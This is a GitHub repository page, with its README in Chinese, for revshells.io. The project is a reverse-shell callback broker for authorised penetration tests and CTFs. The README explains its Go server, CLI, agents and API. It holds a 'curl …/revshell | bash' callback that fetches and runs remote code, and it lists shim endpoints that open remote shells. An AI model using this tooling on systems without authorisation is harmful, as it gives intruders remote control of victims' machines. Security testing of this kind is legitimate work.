nmagill123/revshells-io

GitHub: nmagill123/revshells-io

一个开源的反弹Shell会话代理SaaS平台,让渗透测试和CTF参赛者无需公网IP即可通过HTTPS接收和管理目标回调会话。

Stars: 5 | Forks: 0

# [revshells.io](https://revshells.io) 用于授权渗透测试、CTF 或家庭实验室的回调/会话代理。目标端通过 HTTPS 回调,操作员从浏览器或 CLI 接入。 如果你和我一样,因为需要一个公网 IP 来接收回调而觉得反弹 shell 很麻烦,那么这就是你的解决方案。 这目前仍是一个开发中(WIP)的项目;网站和代码会尽最大努力进行维护。 ## 构建 CI 为以下平台构建了静态的 **rsd**、**rsctl** 和 **rs-agent**: | 标签 | GOOS / GOARCH | |-------|----------------| | linux-amd64 (x86_64) | linux / amd64 | | linux-arm64 (aarch64) | linux / arm64 | | linux-386 (x86) | linux / 386 | | darwin-amd64 (x86_64) | darwin / amd64 | | darwin-arm64 (aarch64) | darwin / arm64 | ``` make all # rsd, rsctl, and cross-compiled rs-agent binaries # 或 go build -o rsd ./cmd/rsd go build -o rsctl ./cmd/rsctl make agents # required: agents-bin/linux-amd64, linux-arm64, ... ``` ## 运行 ``` ./rsd --listen :8080 --public-url https://rs.example.com --db rsd.db --agents-dir agents-bin ``` `--agents-dir` 必须包含通过 `make agents` 生成的 `rs-agent` 构建版本(除非使用 `--agents-git`)。 **在启动时从 GitHub releases 填充 `agents-dir`**(目标端仍然从你的服务器获取 agents): ``` ./rsd --listen :8080 --public-url https://revshells.io --agents-dir agents-bin --agents-git # 固定一个 release: ./rsd --listen :8080 --public-url https://revshells.io --agents-git --agents-git-tag v0.1.0 ``` 将例如 [rs-agent-linux-arm64-aarch64](https://github.com/nmagill123/revshells-io/releases/download/v0.1.0/rs-agent-linux-arm64-aarch64) 下载到 `agents-bin/linux-arm64` 中。回调脚本保持不变:`curl …/revshell | bash` → `$SERVER/$SESSION/agent/$PLATFORM`。 回调 URL 使用请求的 `Host` 头(这样 Docker 目标就可以使用 `host.docker.internal:8080` 而无需编辑脚本)。 `--max-sessions-per-workspace`(默认为 `12`)限制了每个工作空间可以创建的活跃会话数量。 ## CLI ``` # 从 http://localhost:8080/ (rsctl panel) 获取 token,然后: rsctl login http://localhost:8080 # 列出 session rsctl list # Attach (通过 WebSocket 的 raw terminal) rsctl attach # 终止 session rsctl kill ``` ## 浏览器 UI 打开 `http://localhost:8080/` 进入**会话中心**: - **New session** 会创建另一个 UUID(在 localStorage 中存储多个会话) - **rsctl** — 生成工作空间 CLI token(有效期 24 小时,仅限你在此浏览器中创建的会话) - 会话列表在连接后会显示目标信息:user@host、OS、kernel - **浅色/深色模式**、免责声明弹窗 ## 模式 | 模式 | 传输方式 | PTY | 方式 | |------|-----------|-----|-----| | 交互式 PTY | WebSocket | 是 | 目标端运行带有 PTY 的 Go/Python agent | | 命令通道 | HTTP 轮询 | 否 | 目标端轮询获取命令,并发送结果 | | 一次性事件 | HTTP POST | 否 | 单次 POST,无实时会话 | 系统会根据目标端在注册期间报告的内容进行自动检测。 ## 会话 - 6 小时的非活动 TTL(任何交互都会重置计时器) - 多个目标端可以回调到同一个会话 UUID - 多个操作员可以同时接入 ## API ``` POST /api/sessions create session (bearer auth) GET /api/sessions list sessions (bearer auth) GET /api/sessions/:id session detail (bearer auth) DELETE /api/sessions/:id kill session (bearer auth) POST /s/:id/:secret/register target registers capabilities GET /s/:id/:secret/poll long-poll (30s block) POST /s/:id/:secret/push target posts output POST /s/:id/:secret/event one-shot event WS /s/:id/:secret/connect target WebSocket (PTY or command) WS /s/:id/attach operator WebSocket (bearer or cookie auth) GET /s/:id/:secret/sh bash shim GET /s/:id/:secret/py python shim ``` ## 存储 BBolt(单文件,`rsd.db`)。无外部依赖。 仅用于授权的安全测试和实验室环境。
标签:EVTX分析, 日志审计, 请求拦截, 逆向工具